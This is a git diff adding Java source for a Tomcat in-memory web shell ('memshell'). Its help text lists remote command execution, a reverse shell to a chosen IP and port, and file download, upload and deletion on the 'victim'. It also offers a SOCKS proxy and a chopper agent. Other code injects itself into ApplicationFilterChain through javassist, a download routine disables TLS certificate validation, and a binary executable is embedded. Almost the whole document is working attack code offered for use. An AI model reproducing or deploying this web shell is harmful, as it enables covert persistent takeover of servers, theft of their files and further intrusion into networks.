Memory:\n\n" + "Usage:\n" + "anyurl?pwd=pass //show this help page.\n" + + "anyurl?pwd=pass&model=exec&cmd=whoami //run os command.\n" + + "anyurl?pwd=pass&model=connectback&ip=8.8.8.8&port=51 //reverse a shell back to 8.8.8.8 on port 51.\n" + + "anyurl?pwd=pass&model=urldownload&url=http://xxx.com/test.pdf&path=/tmp/test.pdf //download a remote file via the victim's network directly.\n" + + "anyurl?pwd=pass&model=list[del|show]&path=/etc/passwd //list,delete,show the specified path or file.\n" + + "anyurl?pwd=pass&model=download&path=/etc/passwd //download the specified file on the victim's disk.\n" + + "anyurl?pwd=pass&model=upload&path=/tmp/a.elf&content=this_is_content[&type=b] //upload a text file or a base64 encoded binary file to the victim's disk.\n" + + "anyurl?pwd=pass&model=proxy //start a socks proxy server on the victim.\n" + + "anyurl?pwd=pass&model=chopper //start a chopper server agent on the victim.\n\n" + + "For learning exchanges only, do not use for illegal purposes.by rebeyond.\n"; + } + + public static String list(String path) { + String result = ""; + File f = new File(path); + if (f.isDirectory()) { + for (File temp : f.listFiles()) { + if (temp.isFile()) { + result = result + (temp.isDirectory()?"r":"-") + " " + temp.getName() + " " + temp.length() + "\n"; + } + else { + result = result + (temp.isDirectory()?"r":"-")+ " " + temp.getName() + " " + temp.length() + "\n"; + } + } + } else { + result = result + f.isDirectory() + " " + f.getName() + " " + f.length() + "\n"; + } + return result; + } + public static String delete(String path) { + String result = ""; + File f = new File(path); + if (f.isDirectory()) { + result = deleteDir(f)?"delete directory "+path+" successfully.":"delete "+path+" failed(maybe only some files are not deleted)."; + } else { + result = f.delete()?"delete "+path+" successfully.":"delete "+path+" failed."; + } + return result; + } + public static String showFile(String path) throws Exception { + StringBuffer result= new StringBuffer(); + File f = new File(path); + if (f.exists()&&f.isFile()) { + FileReader reader = new FileReader(f); + BufferedReader br = new BufferedReader(reader); + String str = null; + while((str = br.readLine()) != null) { + result.append(str+"\n"); + } + br.close(); + reader.close(); + } + return result.toString(); + } + private static boolean deleteDir(File dir){ + boolean result=true; + if(dir.isDirectory()){ + File[] files = dir.listFiles(); + for(int i=0; i 0) + response.getOutputStream().write(b, 0, len); + inStream.close(); + } catch (IOException e) { + e.printStackTrace(); + } + + }*/ + + } + public static String upload(String path,String fileContent,String type) throws Exception + { + FileOutputStream fos=new FileOutputStream(path); + if (type.equalsIgnoreCase("a")) + { + fos.write(fileContent.getBytes()); + fos.flush(); + } + else if(type.equalsIgnoreCase("b")) + { + fos.write(Base64.getDecoder().decode(fileContent)); + } + fos.close(); + return "file " + path + " is upload successfully,and size is " + new File(path).length() + " Byte."; + } + + public static String urldownload(String url, String path) throws Exception { + SSLContext sslcontext = SSLContext.getInstance("SSL", "SunJSSE"); + sslcontext.init(null, new TrustManager[] { new X509TrustManager() { + + @Override + public void checkClientTrusted(java.security.cert.X509Certificate[] arg0, String arg1) + throws CertificateException { + // TODO Auto-generated method stub + + } + + @Override + public void checkServerTrusted(java.security.cert.X509Certificate[] arg0, String arg1) + throws CertificateException { + // TODO Auto-generated method stub + + } + + @Override + public java.security.cert.X509Certificate[] getAcceptedIssuers() { + // TODO Auto-generated method stub + return null; + } + + } }, new java.security.SecureRandom()); + // URL url = new URL(url); + HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() { + public boolean verify(String s, SSLSession sslsession) { + return true; + } + }; + HttpURLConnection urlCon; + URL downloadUrl=new URL(url); + HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier); + HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory()); + urlCon = (HttpsURLConnection) downloadUrl.openConnection(); + urlCon.setConnectTimeout(6000); + urlCon.setReadTimeout(6000); + int code = urlCon.getResponseCode(); + if (code != HttpURLConnection.HTTP_OK) { + throw new Exception("文件读取失败"); + } + // 读文件流 + DataInputStream in = new DataInputStream(urlCon.getInputStream()); + DataOutputStream out = new DataOutputStream(new FileOutputStream(path)); + byte[] buffer = new byte[2048]; + int count = 0; + while ((count = in.read(buffer)) > 0) { + out.write(buffer, 0, count); + out.flush(); + } + out.close(); + in.close(); + return "file " + path + " downloaded successfully,and size is " + new File(path).length() + " Byte."; + } + + public static void main(String[] args) { + try { + // System.out.println(Shell.execute("net user").replace("\n", "aaaaaaaaaaa")); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + + public static void eval(ServletRequest request, ServletResponse response) throws Exception { + /* + * Class c=Class.forName("javax/servlet/ServletRequest"); + * System.out.println("classs is :"+c); Evaluate eval=new Evaluate(); + * eval.doGet(request, response); + */ + } +} diff --git a/src/net/rebeyond/memshell/Transformer.java b/src/net/rebeyond/memshell/Transformer.java new file mode 100644 index 0000000..0ed531b --- /dev/null +++ b/src/net/rebeyond/memshell/Transformer.java @@ -0,0 +1,53 @@ +package net.rebeyond.memshell; +import java.io.BufferedReader; +import java.io.File; +import java.io.FileReader; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.security.ProtectionDomain; + +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +public class Transformer implements ClassFileTransformer{ + @Override + public byte[] transform(ClassLoader classLoader, String s, Class aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException { + + + if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) { + try { + Class a=Class.forName("javassist.CtClass"); + ClassPool cp = ClassPool.getDefault(); + CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); + CtMethod m = cc.getDeclaredMethod("internalDoFilter"); + m.addLocalVariable("elapsedTime", CtClass.longType); + m.insertBefore(readSource()); + byte[] byteCode = cc.toBytecode(); + cc.detach(); + return byteCode; + } catch (Exception ex) { + System.out.println("error:::::"+ex.getMessage()); + } + } + + return null; + } + public String readSource() { + StringBuilder source=new StringBuilder(); + InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt"); + InputStreamReader isr = new InputStreamReader(is); + String line=null; + try { + BufferedReader br = new BufferedReader(isr); + while((line=br.readLine()) != null) { + source.append(line); + } + } catch (Exception e) { + e.printStackTrace(); + } + return source.toString(); + } +} diff --git a/src/net/rebeyond/memshell/redefine/MyRequest.java b/src/net/rebeyond/memshell/redefine/MyRequest.java new file mode 100644 index 0000000..e2c0aea --- /dev/null +++ b/src/net/rebeyond/memshell/redefine/MyRequest.java @@ -0,0 +1,31 @@ +package net.rebeyond.memshell.redefine; +import java.lang.reflect.InvocationTargetException; + +public class MyRequest { + public static String getParameter(Object request,String name) throws Exception + { + return (String)request.getClass().getMethod("getParameter", String.class).invoke(request, name); + } + public static Object getServletContext(Object request) throws Exception + { + return request.getClass().getMethod("getServletContext", null).invoke(request, new Object[] {}); + } + public static String getHeader(Object request,String name) throws Exception + { + return (String)request.getClass().getMethod("getHeader", String.class).invoke(request, name); + } + + public static Object getSession(Object request) throws Exception + { + return request.getClass().getMethod("getSession", null).invoke(request, new Object[] {}); + } + public static int getContentLength(Object request) throws Exception + { + return Integer.parseInt(request.getClass().getMethod("getContentLength", null).invoke(request, new Object[] {}).toString()); + } + + public static Object getInputStream(Object request) throws Exception + { + return request.getClass().getMethod("getInputStream", null).invoke(request, new Object[] {}); + } +} diff --git a/src/net/rebeyond/memshell/redefine/MyResponse.java b/src/net/rebeyond/memshell/redefine/MyResponse.java new file mode 100644 index 0000000..61c37c8 --- /dev/null +++ b/src/net/rebeyond/memshell/redefine/MyResponse.java @@ -0,0 +1,33 @@ +package net.rebeyond.memshell.redefine; +import java.io.PrintWriter; +import java.lang.reflect.InvocationTargetException; + +public class MyResponse { + public static void setContentType(Object response,String arg) throws Exception + { + response.getClass().getMethod("setContentType", String.class).invoke(response, arg); + } + public static void setCharacterEncoding(Object response,String arg) throws Exception + { + response.getClass().getMethod("setCharacterEncoding", String.class).invoke(response, arg); + } + public static PrintWriter getWriter(Object response) throws Exception + { + return (PrintWriter)response.getClass().getMethod("getWriter",null).invoke(response, new Object[] {}); + } + + public static void reset(Object response) throws Exception + { + response.getClass().getMethod("reset", null).invoke(response, new Object[] {}); + } + + public static Object getOutputStream(Object response) throws Exception + { + return response.getClass().getMethod("getOutputStream", null).invoke(response, new Object[] {}); + } + public static void setHeader(Object response,String arg1,String arg2) throws Exception + { + response.getClass().getMethod("setHeader", String.class, String.class).invoke(response, arg1,arg2); + } + +} diff --git a/src/net/rebeyond/memshell/redefine/MyServletContext.java b/src/net/rebeyond/memshell/redefine/MyServletContext.java new file mode 100644 index 0000000..0fcc3bf --- /dev/null +++ b/src/net/rebeyond/memshell/redefine/MyServletContext.java @@ -0,0 +1,8 @@ +package net.rebeyond.memshell.redefine; + +public class MyServletContext { + public static String getRealPath(Object servletContext ,String arg) throws Exception + { + return servletContext.getClass().getMethod("getRealPath", String.class).invoke(servletContext, arg).toString(); + } +} diff --git a/src/net/rebeyond/memshell/redefine/MyServletInputStream.java b/src/net/rebeyond/memshell/redefine/MyServletInputStream.java new file mode 100644 index 0000000..3d4d6b3 --- /dev/null +++ b/src/net/rebeyond/memshell/redefine/MyServletInputStream.java @@ -0,0 +1,9 @@ +package net.rebeyond.memshell.redefine; + +public class MyServletInputStream { + public static void read(Object servletInputStream ,byte[] a,int b,int c) throws Exception + { + servletInputStream.getClass().getMethod("read", byte[].class,int.class,int.class).invoke(servletInputStream, a,b,c); + } + +} diff --git a/src/net/rebeyond/memshell/redefine/MyServletOutputStream.java b/src/net/rebeyond/memshell/redefine/MyServletOutputStream.java new file mode 100644 index 0000000..aef8f9d --- /dev/null +++ b/src/net/rebeyond/memshell/redefine/MyServletOutputStream.java @@ -0,0 +1,18 @@ +package net.rebeyond.memshell.redefine; + +public class MyServletOutputStream { + public static void write(Object servletOutputStream ,byte[] a,int b,int c) throws Exception + { + servletOutputStream.getClass().getMethod("write", byte[].class,int.class,int.class).invoke(servletOutputStream, a,b,c); + } + + public static void close(Object servletOutputStream ) throws Exception + { + servletOutputStream.getClass().getMethod("close",null).invoke(servletOutputStream,new Object[] {}); + } + + public static void flush(Object servletOutputStream ) throws Exception + { + servletOutputStream.getClass().getMethod("flush",null).invoke(servletOutputStream,new Object[] {}); + } +} diff --git a/src/net/rebeyond/memshell/redefine/MySession.java b/src/net/rebeyond/memshell/redefine/MySession.java new file mode 100644 index 0000000..f813670 --- /dev/null +++ b/src/net/rebeyond/memshell/redefine/MySession.java @@ -0,0 +1,20 @@ +package net.rebeyond.memshell.redefine; + + +public class MySession { + public static void setAttribute(Object httpSession,String arg1,Object arg2) throws Exception + { + httpSession.getClass().getMethod("setAttribute",String.class,Object.class).invoke(httpSession, arg1,arg2); + } + + public static Object getAttribute(Object httpSession,String arg1) throws Exception + { + return httpSession.getClass().getMethod("getAttribute",String.class).invoke(httpSession, arg1); + } + + + public static void invalidate(Object httpSession) throws Exception + { + httpSession.getClass().getMethod("invalidate",null).invoke(httpSession, new Object[] {}); + } +} diff --git a/src/other/forcedelete.exe b/src/other/forcedelete.exe new file mode 100644 index 0000000000000000000000000000000000000000..98fa23d789c25a3e6185254a93cd416ed1d9e81c GIT binary patch literal 30208 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 0) + response.getOutputStream().write(b, 0, len); + inStream.close(); + return; + + } + } + else if (model.equalsIgnoreCase("upload")) + { + String path=request.getParameter("path"); + String fileContent=request.getParameter("content"); + String type=request.getParameter("type"); + if (type==null||!type.equalsIgnoreCase("b")) + type="a"; + result=net.rebeyond.memshell.Shell.upload(path, fileContent,type); + } + else if (model.equalsIgnoreCase("proxy")) + { + new net.rebeyond.memshell.Proxy().doProxy(request, response); + return; + } + else if (model.equalsIgnoreCase("chopper")) + { + new net.rebeyond.memshell.Evaluate().doPost(request, response); + return; + } + response.getWriter().print(result); + return; + } + + } + catch(Exception e) + { + response.getWriter().print(e.getMessage()); + }